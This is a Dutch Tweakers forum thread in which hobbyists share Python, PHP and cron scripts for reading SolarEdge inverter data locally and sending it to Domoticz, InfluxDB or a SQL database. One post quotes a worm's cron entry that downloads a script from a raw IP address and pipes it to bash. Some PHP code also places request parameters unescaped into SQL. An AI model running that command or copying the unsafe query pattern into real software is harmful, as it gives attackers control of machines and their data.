Cookies op Tweakers

Tweakers maakt gebruik van cookies, onder andere om de website te analyseren, het gebruiksgemak te vergroten en advertenties te tonen. Door gebruik te maken van deze website, of door op 'Ga verder' te klikken, geef je toestemming voor het gebruik van cookies. Wil je meer informatie over cookies en hoe ze worden gebruikt, bekijk dan ons cookiebeleid.

Meer informatie

  • jvdzande
  • Registratie: november 2015
  • Laatst online: 15:57
Kecin schreef op woensdag 10 april 2019 @ 16:26:
Ik zie de codes voor Domoticz steeds voorbij komen. Het valt me op dat iedereen een P1 kabel gebruikt, of is dat niet noodzakelijk? Ik heb er (nog) geen. En welke is aan te raden bij dit script?
Zelf zou ik het liefst Domoticz draaien op mijn ESXI server, deze staat echter niet in de meterkast. Iemand een handig idee om de data van P1 op het netwerk te krijgen :)?
Ik gebruik deze setup in de Meterkast: http://www.esp8266thingies.nl/wp/
Het is een Wemos ESP8266 met een speciale pcb om aan de P1-meter aan te sluiten en in Domoticz is die geconfigureerd als "P1-WiFi-Gateway", maar de code die beschikbaar is gemaakt werkt met Domoticz/DSMR en ook een extra tabel in de SolarEdge SQL database die je dan natuurlijk wel zelf even moet vullen.

Jos

  • jvdzande
  • Registratie: november 2015
  • Laatst online: 15:57
Kecin schreef op woensdag 10 april 2019 @ 16:37:
[...]
De SolarEdge DB is dan een ander verhaal, maar het lijkt me dat die 2 wel te koppelen zijn :). In iedergeval als device. Zou een leuke extra zijn naast PVOutput.
Ik weet niet of ik je begrijp. Je hebt met de huidige beschikbare scripts de keuze om de P1_Meter informatie uit een van deze opties te halen op dit moment: Domoticz of DSMR of extra tabel in SolarEdge QSL DB. Als je een andere bron zou willen gebruiken dan zal je zelf een extra script moeten maken.

Dus als je zowel Domoticz als DSMR nog niet hebt, kan je ook gewoon een optie als diegene die ik gebruik aansluiten op je P1_Meter en dmv een script de gegevens ophalen en in de aparte tabel zetten.

opties...keuzes .... altijd lastig wat nu weer de juiste is ;)

  • jvdzande
  • Registratie: november 2015
  • Laatst online: 15:57
Kecin schreef op woensdag 10 april 2019 @ 18:56:
[...]

Maar stel; ik bestel het apparaat uit jouw link, dan kan ik gemakkelijk dit in Domoticz toevoegen als P1 verbruik (stroom + gas). Vervolgens kan ik via een ander script mijn Solaredge info ophalen en uiteindelijk 2 grafieken samenvoegen? Of kijk ik dan te kort door de bocht? :D
Dit is correct..... Met die oplossing heb je een microcomputer die de data in Domoticz kan dumpen, maar je kan het ook in andere systemen dumpen. ESPEasy, de software die gebruikt wordt, is een algemeen beschikbaar en heeft ook een webinterface waar je de data gewoon kan ophalen om op een andere manier te verwerken. Als je Domoticz al hebt wordt het heel eenvoudig, want dan is het koppelen eenvoudig en de zonnepanelen-electra.php heeft standaard support ingebouwd voor een Domoticz P1-meter Device, om daar de gegevens op te halen nodig voor de grafieken en data.

Jos

  • jvdzande
  • Registratie: november 2015
  • Laatst online: 15:57
@emzed ,
Je kunt even in Chrome Debug mode gaan door F12 te doen en dan kijken of er fout meldingen staan in de Console tab.
Om SQL te checken kan je even deze url openen: zonnepanelen/live-server-data-zon.php en kijken waar hij mee terug komt.

Jos

jvdzande wijzigde deze reactie 11-04-2019 20:58 (3%)


Acties:
  • +1Henk 'm!

  • andrerij
  • Registratie: april 2017
  • Laatst online: 11-10 21:11
Zonnepanelen.php is nu samengevoegd met zonnepanelen-electra.php.
Dit is gedaan om het onderhoud gemakkelijker te maken en alle nieuwigheden direct voor beide programma's beschikbaar te maken.
Hiervoor is in config.php het volgende toegevoegd:

code:
1
2
//** P1 waarden aangeven 
$P1 = 0; // 0 = nee, 1 = ja



Indien $P1 = 0, dan wordt er een aangepaste zonnepanelen.php getoond.

Indien $P1 = 1, dan wordt zonepanelen-electra.php getoond.

Zonnepanelen.css is een aangepaste versie van zonnepanelen-electra.css

De aanpassingen voor de plaats van de panelen kan overgenomen worden in de nieuwe versie.

"zonnesystem.gif" is nu hetzelfde geworden als "zonnesysteem-electra.gif"

Zonnepanelen.php is een aangepaste versie van zonnepanelen-electra.php

De laatste versie kan gedownload worden van GitHub.

  • Poudie
  • Registratie: december 2013
  • Laatst online: 04-10 19:10
rutger7435 schreef op donderdag 25 april 2019 @ 18:20:
[...]


Ok. Thanks.

Ik neem aan dat door de lokale API er geen certificaat trucage nodig is, voordat je het apparaat aan het internet hangt? Dat is een beetje mijn 'angst' omdat de TS daar voor waarschuwt. Gebruik jij wel de SolarEdge Monitoring website?
Nee het certificaat verhaal gaat over de nieuwe omvormer en de communicatie naar de cloud. Deze communiceert dus via https naar de cloud en kan je niet uitlezen (zonder man in the middle acties zeg maar).
De API op de omvormer zelf is direct bereikbaar zonder certificaat of login. Simpelweg via http naar het IP adres en je krijgt de webinterface.
Als je daar het netwerk verkeer van bekijk (simpelweg via je browser) en je vraagt de status pagina op, dan zie je dat de site de API aanspreekt en de responses in Googles Protobuff formaat teruggestuurd worden.

Ik gebruik verder gewoon de solaredge site, dus beide staat los van elkaar.

Wel heb ik het voor elkaar gekregen dat de omvormer zijn netwerk down gooide. Ik was toen wel extreem veel verzoeken aan het doen. Het apparaat was toen niet meer pingbaar en de website werd ook niet meer geüpdate bij Solaredge. Stroom werd overigens wel gewoon opgewekt.

Na een reset van de omvormer werkte de interface ook weer.

  • rutger7435
  • Registratie: januari 2018
  • Laatst online: 13-10 09:09
Poudie schreef op donderdag 25 april 2019 @ 18:29:
[...]


Nee het certificaat verhaal gaat over de nieuwe omvormer en de communicatie naar de cloud. Deze communiceert dus via https naar de cloud en kan je niet uitlezen (zonder man in the middle acties zeg maar).
De API op de omvormer zelf is direct bereikbaar zonder certificaat of login. Simpelweg via http naar het IP adres en je krijgt de webinterface.
Als je daar het netwerk verkeer van bekijk (simpelweg via je browser) en je vraagt de status pagina op, dan zie je dat de site de API aanspreekt en de responses in Googles Protobuff formaat teruggestuurd worden.

Ik gebruik verder gewoon de solaredge site, dus beide staat los van elkaar.

Wel heb ik het voor elkaar gekregen dat de omvormer zijn netwerk down gooide. Ik was toen wel extreem veel verzoeken aan het doen. Het apparaat was toen niet meer pingbaar en de website werd ook niet meer geüpdate bij Solaredge. Stroom werd overigens wel gewoon opgewekt.

Na een reset van de omvormer werkte de interface ook weer.
Ah, chill!

Bedankt voor de info _/-\o_

Acties:
  • +1Henk 'm!

  • jvdzande
  • Registratie: november 2015
  • Laatst online: 15:57
Aegle schreef op dinsdag 30 april 2019 @ 16:25:
In de debug console van Chrome krijg ik de melding:
code:
1
Failed to load resource: the server responded with a status of 500 (Internal Server Error)

in zonnepanelen.php.
Dan heb je een fout melding aan de server kant in de PHP code en moet je in het server log kijken of het op je server zonnepanelen.php even met de hand uitvoeren en kijken wat de foutmelding is.
Als je er niet uitkomt kan je me ook even je gezipte versie sturen naar mijn email github adres *pm me als je het niet kan vinden).

Jos

Acties:
  • +1Henk 'm!

  • jvdzande
  • Registratie: november 2015
  • Laatst online: 15:57
Ha ja, nu begrijp ik hem ook. Die datum reset is alleen om de ontbrekende data naar PVO te uploaden.
Ik dacht in eerste instantie dat het voor de SolarEdge database bijwerken was. :)
post hierboven even bijgewerkt om verwarring te voorkomen.

Jos

jvdzande wijzigde deze reactie 01-05-2019 09:56 (13%)


Acties:
  • +1Henk 'm!

  • andrerij
  • Registratie: april 2017
  • Laatst online: 11-10 21:11
Aegle schreef op dinsdag 30 april 2019 @ 16:25:
Na een tijdje de website van @andrerij te hebben gebruikt, deze maar eens geupdate naar de laatste versie.
Alle lokale gegevens aangepast en geupload naar mijn server. Echter, tot mijn verbazing krijg ik nu alleen nog maar een blank scherm, ook na uitgebreide check van de parameters.
In de debug console van Chrome krijg ik de melding:
code:
1
Failed to load resource: the server responded with a status of 500 (Internal Server Error)

in zonnepanelen.php.

Googelend op deze melding krijg ik alleen irrelevante hits.
Iemand een idee waar ik het zoeken moet?

Een andere website die ik gebruik, ooit opgezet door @Pietjebel10 met dezelfde SQL-data werkt wel gewoon. Webserver draait onder NGINX, Debian9 met PHP7.
Start zonnepanelen.php en druk daarna op F12. Kijk rechtsonder op welke regel het fout gaat.
Druk hierna op CTRL+U en zoek de regel op.
Kopieer deze regel met een paar regels er boven en onder.
Geef deze door zodat ik kan zien waar het fout gaat.

andrerij wijzigde deze reactie 02-05-2019 09:58 (192%)


Acties:
  • +1Henk 'm!

  • jvdzande
  • Registratie: november 2015
  • Laatst online: 15:57
Ik heb een routine toegevoegd in zonnepanelen.php om error's te laten zien als je de website opent i.p.v. een leeg scherm. De foutmelding is nog steeds even cryptisch, maar je weet in ieder geval gelijk dat er wat fout is.

Jos

Acties:
  • +2Henk 'm!

  • Pommi
  • Registratie: december 2001
  • Laatst online: 26-09 10:44
rutger7435 schreef op donderdag 25 april 2019 @ 17:42:
Begrijp dat https://github.com/drobtravels/solaredge-local als een soort startpunt wordt gezien, maar dat er nog geen interface voor beschikbaar is. Ik zou de data graag in mijn InfluxDB gaan opslaan.
Ik ben hier toevallig vandaag mee aan de slag gegaan. Het restultaat staat hier: https://gitlab.com/snippets/1853864 Elke minuut wordt de status uitgelezen en weggeschreven in InfluxDB. :)

Grafieken mbv. Grafana:
https://pommi.nethuis.nl/storage/private/solar/solaredge-production-200px.pnghttps://pommi.nethuis.nl/storage/private/solar/solaredge-inverter-temperature-200px.pnghttps://pommi.nethuis.nl/storage/private/solar/solaredge-inverter-voltage-200px.pnghttps://pommi.nethuis.nl/storage/private/solar/solaredge-frequency-200px.png

Acties:
  • +1Henk 'm!

  • Quinie
  • Registratie: juli 2001
  • Laatst online: 03-09 15:04
Jerrythafast schreef op zondag 5 mei 2019 @ 19:02:
Oké, dat meer van de configuratie naar dhcpd verhuisd is wist ik niet (ook niet echt mijn vakgebied ;)). Misschien moet in /etc/dhcpcd.conf bij eth0 de routers= regel worden weggelaten. Dat router IP-adres is immers vanaf eth0 niet bereikbaar.
Het is gelukt met de dhcp server. Het zat hem inderdaad in die regel en waarschijnlijk nog 1. Daarna was het netwerk oké. Maar start de dhcp server te vroeg. Dit opgelost door zelf een service file te maken..

Daarna last van netwerk mounts die het niet deden en de raspi-config aangepast (boot wait on network)

Dit deel draait nu. nu maar eens de laatste versie van het script installeren. Eventueel kan ik de huidige config files post als men daar belang bij heeft.

....
Give me my marker show me my line... surely this is it... the edge?
http://www.Quinie.nl
http://soundcloud.com/quinie


Acties:
  • +1Henk 'm!

  • Strykeforce
  • Registratie: maart 2010
  • Laatst online: 14-10 20:56
Pommi schreef op zaterdag 4 mei 2019 @ 14:43:
[...]


Ik ben hier toevallig vandaag mee aan de slag gegaan. Het restultaat staat hier: https://gitlab.com/snippets/1853864 Elke minuut wordt de status uitgelezen en weggeschreven in InfluxDB. :)

Grafieken mbv. Grafana:
[Afbeelding][Afbeelding][Afbeelding][Afbeelding]
Cool! Ik wou zelf ook al de data naar InfluxDB pushen en ook wat met Grafana dashboards gaan inrichten (wil er wat meer ervaring mee op doen). Ik heb je scriptje gebruikt en em in een Docker container gezet zodat ik er niet een PI voor hoef te gebruiken maar em op m'n NAS kan draaien waar toch al m'n influxdb draait.

Voor de geintereseerden:
https://hub.docker.com/r/maartenvana/solaredge-to-influxdb

Heb em ook nog wat meer instelbaar gemaakt met een send interval environment variable en wat logging toegevoegd :)

Acties:
  • +1Henk 'm!

  • Strykeforce
  • Registratie: maart 2010
  • Laatst online: 14-10 20:56
marteltor schreef op dinsdag 28 mei 2019 @ 19:31:
[...]
Ja, dat wordt een SolarEdge SE3000 HD Wave.
Met SetApp, dus ja een logger er tussen zetten heeft voor zover ik weet geen zin aangezien alles HTTPS is, volgens mij is daar nog niks kant en klaar voor gemaakt tot nu toe.

Je kan dus nog later via andere mogelijkheden data uitlezen, dus een logger er tussen zetten is niet nodig. Zo kan je bijvoorbeeld het script van @Pommi gebruiken of mijn docker container variant, zie ook Strykeforce in "[SolarEdge] Omvormers en optimizers zelf monitoren"

Het enige wat ik tot nu toe wel merk is dat het script om de zoveel tijd crasht door een timeout bij het opvragen van de status, heb nog geen tijd gehad om dat te fixen. Aangezien ik het script via m'n docker container draai heb ik daar geen last van want docker restart de container dan automatisch. Be warned dus als je em los draait.

Met of zonder setapp? Anders is bovenstaand niet meer relevant.

Strykeforce wijzigde deze reactie 29-05-2019 07:35 (3%)


Acties:
  • +1Henk 'm!

  • marteltor
  • Registratie: maart 2001
  • Laatst online: 04-09 13:04
Volgens mij kun je de strikethrough weghalen, want het is met SetApp ;-) dank voor de toelichting

marteltor wijzigde deze reactie 28-05-2019 20:15 (15%)


Acties:
  • +2Henk 'm!

  • KrL
  • Registratie: oktober 2001
  • Laatst online: 14-10 22:57

KrL

Foto foto..

Ik heb sinds een paar weken ook een nieuwe SolarEdge SE3680H met SetApp, zelf geïnstalleerd. Ik bestuur en monitor alles in huis met Domoticz dus heb deze draad met interesse doorgelezen. Uiteraard kan ik veel zien in de SolarEdge monitoring portal/app maar ik wil ook realtime in Domoticz mijn opbrengst/bruto/netto verbruik berekenen en zien. Een uitdaging omdat ik nog een oude vertrouwde ferrismeter heb die ik uitlees met een Youless LS120: die bepaalt het verbruik op basis van het optisch 'tellen' van de zwarte stip op de draaischijf maar kan niet zien of deze vooruit of achteruit draait, dit geeft dus een vertekend beeld icm een PV installatie.

Als ik mijn realtime opbrengst weet kan ik op basis hiervan en de Youless waarde redelijk nauwkeurig het bruto/netto verbruik berekenen. Ik heb eerst de standaard SolarEdge plugin geprobeerd (op basis van de monitoring portal API) maar de 5 minuten update frequentie is te lang, in deze tijd kan de opbrengst enorm variëren. Dus heb ik gekeken naar andere mogelijkheden waaronder de eerder genoemde solaredge-local wrapper (https://pypi.org/project/solaredge-local/). Ik heb op basis hiervan een heel simpel python script geschreven dat elke 10 seconden het huidige vermogen en de dag/totaalopbrengst uitleest en deze naar een virtuele sensor in Domoticz stuurt. Deze toont ze, slaat ze op en maakt er allerlei mooie grafieken en rapporten van.





code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/python3
#
# Very simple python script to fetch power and energy from the new SolarEdge setapp web API and sends it to Domoticz
# Uses the solaredge_local wrapper 0.2.0 from David Roberts https://pypi.org/project/solaredge-local/

from solaredge_local import SolarEdge           
import urllib.request
import threading
import datetime

#vars
solaredge_url = "http://192.168.0.249"          # url of the setapp web api
domoticz_url = "http://192.168.0.4:8080"        # 
sensor_idx = 1560                   # idx of the virtual electric sensor

def run_check():
    threading.Timer(10.0, run_check).start()    # run every 10 seconds

    #get power and today/total energy from SolarEdge
    client = SolarEdge("http://192.168.0.249")
    status = client.get_status()
    power = round(status.powerWatt,1)
    energyToday = round(status.energy.today,2)
    energyTotal = round(status.energy.total,2)
    
    #send to Domoticz
    url = domoticz_url+"/json.htm?type=command&param=udevice&idx="+str(sensor_idx)+"&nvalue=0&svalue="+str(power)+";"+str(energyToday)
    urllib.request.urlopen(url).read()

    #debug
    print(str(datetime.datetime.now()) + " HTTP Request sent: " + str(url))
 
run_check()


Er is nog veel meer informatie beschikbaar en wellicht maakt iemand er nog eens een echte Domoticz plugin van die per optimizer het voltage, de temperatuur etc uitleest en hier automatisch de bijbehorende devices voor aanmaakt.

Bijvoorbeeld per optimzer in client.get_maintenance() beschikbaar:
optimizer {
serialNumber: "11C2F3AA-C2"
online: true
lastReport {
year: 2019
month: 6
day: 5
hour: 21
minute: 34
second: 41
}
outputV: 60
inputV: 56
inputC: 0
temperature {
value: 18
}
}
Maar voorlopig doet m'n script wat hij moet doen en kan ik vooruit.

Acties:
  • +1Henk 'm!

  • Jerrythafast
  • Registratie: september 2012
  • Laatst online: 13-10 08:56
Rufan schreef op woensdag 26 juni 2019 @ 07:53:
Beste heren ik ben nog niet zo gedreven als jullie met het programmeren en opzetten van de SE logger.

Heeft iemand een werkende Raspberry Image met het volgende voor geïnstalleerd.
- jbuehl (Se-logger) https://github.com/jbuehl/solaredge
- amrij (Weergave) https://github.com/amrij/zonnepanelen

Het lijkt mij makkelijker voor de noobies zoals ik om hiermee te starten en alleen de parameters te hoeven aanpassen naar behoefte van systeem.

Met vriendelijke groet,
Je haalt hier een aantal dingen door elkaar, se-logger is niet van jbuehl maar van mij ;)
https://github.com/Jerrythafast/se-logger

2925 Wp op SE3000 live op PVOutput en Jerweb.nl || Nu ook De Triangel 3020 Wp (live logging in aanbouw)


Acties:
  • +3Henk 'm!

  • abra69
  • Registratie: januari 2007
  • Laatst online: 05:57
Hmm... ik heb een nieuw model SolarEdge hd3680 zonder display. Het is me gelukt om deze lokaal per seconde (!) uit te lezen. Ik heb dit gedaan voor Domoticz, maar het is even blijven liggen. Iemand interesse?

-Domoticz plugin
- Python3
- vermogen, temperatuur, spanning

Was mijn eerste ervaring met Domoticz plugins maken en ik heb me voorgenomen om e.e.a. nog een keer wat op te schonen, dus nog niet gepubliceerd.Op mijn todolijst staan o.a. meer testen, database optimalisaties en berekening lokaal gebruikt vermogen in P1.

P.s. het werkt als je een lokale SetApp web interface kunt vinden op het IP adres van de inverter. Gewoon poort 80, onbeveiligd. Eerste keer kan even duren. Mijn script gebruikt de ProtoBuf status. Zie https://github.com/jbuehl/solaredge

Acties:
  • +1Henk 'm!

  • MaikelK.
  • Registratie: maart 2013
  • Laatst online: 14-10 19:51
MDKlapwijk schreef op zaterdag 6 juli 2019 @ 10:40:
[...]

Zelf ben ik vanuit een beheer technisch standpunt niet zo'n fan van het gebruik van van crontab op servers, ik zie liever de /etc/cron.d/ gebruikt worden. Met cron.d wordt de uitvoerende gebruiker expliciet in de cron regel genoemd en niet door de naam van de file in /var/spool/cron.

Mijn cron.d voor se-logger ziet er dan ook zo uit:

code:
1
2
3
root@domoticz-01:~# cat /etc/cron.d/se-logger
30 0 * * *      root    /usr/sbin/service se-logger restart >/dev/null 2>&1
*/2 * * * *     root    date >> /opt/se-logger/pvo-upload.log; /usr/bin/php /opt/se-logger/pvo-upload.php >> /opt/se-logger/pvo-upload.log 2>&1


Note: de '>/dev/null' stuurt alle standaard output naar de shredder en de '2>&1' stuurt ook alle errors naar standaard output (en dus naar de shredder of pvo-upload.log).

Ik vermoed dan ook dat je de restart van de se-logger in de crontab van 'pi' hebt staan, terwijl deze misschien alleen door 'root' herstart kan/mag worden. Verder zou ik dus ook nog even naar de rechten op alle bestanden en scripts kijken, bij mij draait dit alles dus onder root, omdat ik nooit de moeite heb genomen om een aparte gebruiker aan te maken:

code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
root@domoticz-01:~# l /opt/se-logger/
total 559608
drwxr-xr-x 2 root root   53248 Jul  6 10:34 .
drwxr-xr-x 8 root root    4096 Jun  2 21:17 ..
-rw-r--r-- 1 root root      15 Jul  6 10:34 liveupdate.log
-rw-r--r-- 1 root root   21965 Sep 20  2017 liveupdate.py
-rw-r--r-- 1 root root    2272 Apr 17  2017 pvo-upload-3phase.php
-rw-r--r-- 1 root root 7718882 Jul  6 10:44 pvo-upload.log
-rw-r--r-- 1 root root    2173 Sep 20  2017 pvo-upload.php
-rw-r--r-- 1 root root     645 Feb 15  2018 se-logger-service.sh
-rw-r--r-- 1 root root    1364 Sep 19  2017 solaredge-20170919212645.pcap
...
-rw-r--r-- 1 root root  848443 Jul  6 00:29 solaredge-20190704223001.pcap
-rw-r--r-- 1 root root  322663 Jul  6 10:33 solaredge-20190705223001.pcap
-rw-r--r-- 1 root root    7011 Jul  6 10:44 solaredge-20190706083414.pcap
-rw-r--r-- 1 root root      83 Jul  6 10:34 tcpdump.log

E.a. was niet toegewezen aan root maar aan PI. Heb hier een chown op de hele folder toegepast. Alles is nu root.

Wat je precies bedoelt met alle andere voorbeelden, dat snap ik helaas (nog) niet.
Jerrythafast schreef op zondag 7 juli 2019 @ 13:04:
[...]

Twee opties:
1. Zoals @MDKlapwijk hierboven zegt zal het niet werken als de crontab waarin de service restart staat geen root rechten heeft.
2. Als hij wel een nieuw bestand maakt (dus de service lijkt wel opnieuw te starten), maar het oude bestand blijft doorgroeien, heb je te maken met deze:

[...]
Killmode stond goed, enige wat ik nu opmerkte was:
-rw-r--r-- 1 pi pi 290 Jun 14 2018 se-logger.service

Dus deze heb ik ook aan root toegewezen


Blijft het verhaal dat ik voor 13 juni een goed werkend systeem had.
Ik heb een reboot gedaan zoals wel vaker en sinds die reboot werkt het niet meer.... Raar toch?

EDIT:

Shit.... ik was er 100% zeker van dat ik SUDO crontab -e heb gedaan.......... blijkbaar niet...
Nu ik dit wel deed kwam ik het volgende tegen:

code:
1
* * * * * wget http://107.174.47.156/mr.sh | bash -sh > /dev/null 2>&1



Dit blijkt een worm te zijn.... Welke rond de 12de/13de bij mensen is geinstalleerd... zie ook:
https://www.domoticz.com/...18d19e5815bc1f64efbb85f68

Mijn Pi had ook al sinds de 13de last van slechte bereikbaarheid... afgelopen week heb ik een keer een update voor domoticz doorgevoerd via Putty.. Blijkbaar is daarmee het gat gedicht en bleef mijn PI weer draaien.....

Ik heb nu de volledige cronjobs waarin de worm zat leeg gegooid en hij lijkt ook niet meer actief te zijn....

Zo zie je maar weer, niet gebeurd zonder reden!

MaikelK. wijzigde deze reactie 07-07-2019 17:58 (11%)

SolarEdge SE3500HD met 12x LG320N1K-A5 waarvan 6x ZO en 6x NW


Acties:
  • +1Henk 'm!

  • wopper
  • Registratie: juli 2001
  • Laatst online: 16:35
darklord007 schreef op maandag 8 juli 2019 @ 08:29:
Het is een beetje randje offtopic, maar mijn omvormer wil niet meer rapporteren nadat ik de wifi module heb verwijderd en vervangen door een lan kabel.
Hij heeft wel netjes een ip adres, maar ik zie geen updates meer in de portal.

Iemand een idee wat ik verkeerd doe?
Want op het scherm zelf is wel productie
Wat geeft de internet connectivity test op het display weer?

PVoutput 4020WP Z-ZW en Z-ZO


Acties:
  • +1Henk 'm!

  • niqck
  • Registratie: maart 2003
  • Laatst online: 14-10 18:47
peterpijpelink schreef op maandag 8 juli 2019 @ 13:23:
[...]


Oke, en heb je die met UTP aangesloten? vraag me af of met UTP Cat5 mag of met van die signaalkabel die ook voor alarminstallatie gebruikt wordt.
Geen idee hoe de meter van SolarEdge aangesloten moet worden.

Omvormer, meterkast en Smappee staan allemaal vlak bij elkaar; alles kon met bijgeleverde kabels gedaan worden. Smappee werkt niet rechtstreeks samen met de omvormer maar verzorgt een soortgelijke functie (opbrengst/verbruik meten, grootverbruikers proberen te identificeren aan de hand van hun 'melodietje'). Wat ik wel merkte is dat de opbrengst die Smappee registreert tov wat SolarEdge rapporteert een klein beetje kunnen verschillen (soms tot 2-3%).

YouTube: How do I install the Smappee Solar (Three-Phase)?

https://ibb.co/4sh8FfC

Acties:
  • +2Henk 'm!

  • Mich
  • Registratie: december 2000
  • Laatst online: 14:47
Ik ben bezig geweest met het uitlezen van mijn SE2200H setapp (dus geen display) via Node-Red. In Node-Red heb ik de gegevens die ik nodig heb omgezet naar json formaat en doorgestuurd via MQTT. In Home-Assistant heb ik sensors aangemaakt en een plaatje om het grafisch weer te geven. Het is nog niet 100% naar wens maar voor nu ben ik tevreden. Ik heb wel gebruik gemaakt van de proton files om de berichten te de-coderen.

inverter:

optimiser:

Home-Assistant:

  • MaikelK.
  • Registratie: maart 2013
  • Laatst online: 14-10 19:51
wopper schreef op woensdag 17 juli 2019 @ 19:55:
[...]


Welke software versie heb je in de omvormer?

Hier werk het goed met deze versies, via SE portal zichtbaar na klikken op omvormer.

Versie DSP2
2.0.525
Versie DSP1
1.0.658
Versie communicatieplaat (CPU)
3.2252.0
Ik zal eerdaags even op de laptop kijken, via mijn telefoon kan ik het niet zien: niet in de app of op de website...

Alvast bedankt!

SolarEdge SE3500HD met 12x LG320N1K-A5 waarvan 6x ZO en 6x NW


Acties:
  • +1Henk 'm!

  • niqck
  • Registratie: maart 2003
  • Laatst online: 14-10 18:47
Rob Z schreef op vrijdag 19 juli 2019 @ 20:09:
Hier een nieuwe installatie met een SE4k omvormer.
Momenteel ben ik 3 dagen met de logger aan het wachten op het langskomen van de sleutel.

Is er iets in de *.pcap files waaraan ik kan zien of de encryptie al actief is?
Installatie is hier al bijna 8 maanden actief, waarvan al 7 maanden ge-activeerd op de SolarEdge monitoring-site. Alle traffic is nog steeds un-encrypted. Geen idee wat de trigger is om een key te onderhandelen. Of dit door mijn installateur moet ge-activeerd worden.

Dus geen paniek indien het een "tijdje" duurt eer je de sleutel ziet passeren :)

Acties:
  • +1Henk 'm!

  • René Janssen
  • Registratie: juli 2019
  • Laatst online: 11-10 09:41
Hoi,
Zijn er hier mensen die een omvormer zonder display hebben en die toch het programma van Jerry kunnen draaien. Heb zelf een SE3000H zonder display. Ik krijg met geen mogelijksheid een encryptie sleutel uit dat ding.
Via een rs485 verbinding krijg ik als sleutel alleen maar x00 enz Send en Recieve werken beide goed.

groet René

Acties:
  • +1Henk 'm!

  • andrerij
  • Registratie: april 2017
  • Laatst online: 11-10 21:11
MaikelK. schreef op dinsdag 23 juli 2019 @ 13:19:
@Jerrythafast @jvdzande @wopper @MDKlapwijk blijkbaar is er iets gebeurd met mijn switch met port mirror functie... alles stond nog zoals het was. Ik heb het allemaal disabled en weer enabled en het draait weer.

Kan ik op de een of andere manier de missende data weer in de tabel injecteren?
Al zijn het alleen maar de dag totalen, per paneel zou ook leuk zijn maar dat is meer werk vanaf mijn kant.
Ik ben pas later met het programma van Jerry begonnen dus ik had hetzelfde probleem.
Hiervoor heb ik het volgende script (semonitoring.php) geschreven voor mijn 3fase inverter:

code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
$date1 = strtotime(sprintf("%s 00:00:00",$_GET["date1"]));    // Unix timestamps in seconds begin dag
$date2 = strtotime(sprintf("%s 00:00:00",$_GET["date2"]));  // Unix timestamps in seconds eind dag

$host = '192.168.1.81';     // IP adres waar de database staat (standaard localhost of 127.0.0.1)
$port = '3306';             // poort database (standaard 3306)
$user = 'gebruiker';        // gebruiker
$passwd = 'password';       // paswoord gebruiker
$db = 'solaredge';          // database naam
$mysqli = new mysqli($host, $user, $passwd, $db, $port);
$query = sprintf("SELECT e_total FROM telemetry_inverter_3phase WHERE timestamp > '%s' and timestamp < '%s' ORDER BY timestamp DESC LIMIT 1", $date1-86400, $date1);
$result = $mysqli->query($query);
$row = mysqli_fetch_assoc($result);
$e_total = $row['e_total'];

$date = $date1;
while($date <= $date2){
    echo date("Y-m-d", $date) . "<br>";
    $datum_1 = date('Y-m-d%20H:i:s',$date);
    $datum_2 = date('Y-m-d%20H:i:s',$date+86400);
    $de_day = 0;
    $e_day = 0;
    $file = sprintf('https://monitoringapi.solaredge.com/equipment/<siteID>/<inverterID>/data.json?startTime=%s&endTime=%s&api_key=<apiKey>', $datum_1, $datum_2); //  eigen siteid, inverterid en apikey invullen
    $str = file_get_contents($file);
    $json = json_decode($str, true);
    $count = $json['data']['count'];
    $i=0;
    while($i < $count){
        if ($json['data']['telemetries'][$i]['totalEnergy'] > 0){
            $de_day = $json['data']['telemetries'][$i]['totalEnergy'] - $e_total;
            $e_day += $de_day;
            $e_total = $json['data']['telemetries'][$i]['totalEnergy'];     
            //  '1 OFF, 2 SLEEPING, 3 STARTING, 4 MPPT, 5 THROTTLED, 6 SHUTTING_DOWN, 8 STANDBY'
            $modeasc= $json['data']['telemetries'][$i]['inverterMode'];
            $mode = 1;
            if ( $modeasc == 'OFF' ) { $mode=1;}
            if ( $modeasc == 'SLEEPING' ) { $mode=2;}
            if ( $modeasc == 'STARTING' ) { $mode=3;}
            if ( $modeasc == 'MPPT' ) { $mode=4;}
            if ( $modeasc == 'THROTTLED' ) { $mode=5;}
            if ( $modeasc == 'SHUTTING_DOWN' ) { $mode=6;}
            if ( $modeasc == 'STANDBY' ) { $mode=8;}
            
            $query = sprintf("INSERT INTO telemetry_inverter_3phase (inv_id, timestamp, temperature, e_day, de_day, v_ac1, v_ac2, v_ac3, i_ac1, i_ac2, i_ac3, frequency1, frequency2, frequency3, v_dc, e_total, i_rcd, mode, v_1to2, v_2to3, v_3to1, p_active1, p_active2, p_active3, p_apparent1, p_apparent2, p_apparent3, p_reactive1, p_reactive2, p_reactive3 )values ('%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s')", '<inverterID>', strtotime($json['data']['telemetries'][$i]['date']),$json['data']['telemetries'][$i]['temperature'], $e_day, $de_day, $json['data']['telemetries'][$i]['L1Data']['acVoltage'],  
                            $json['data']['telemetries'][$i]['L2Data']['acVoltage'], $json['data']['telemetries'][$i]['L3Data']['acVoltage'], $json['data']['telemetries'][$i]['L1Data']['acCurrent'], $json['data']['telemetries'][$i]['L2Data']['acCurrent'], $json['data']['telemetries'][$i]['L3Data']['acCurrent'], $json['data']['telemetries'][$i]['L1Data']['acFrequency'], $json['data']['telemetries'][$i]['L2Data']['acFrequency'], $json['data']['telemetries'][$i]['L3Data']['acFrequency'], $json['data']['telemetries'][$i]['dcVoltage'], $json['data']['telemetries'][$i]['totalEnergy'], '0.004', $mode, $json['data']['telemetries'][$i]['vL1To2'], $json['data']['telemetries'][$i]['vL2To3'], $json['data']['telemetries'][$i]['vL3To1'],
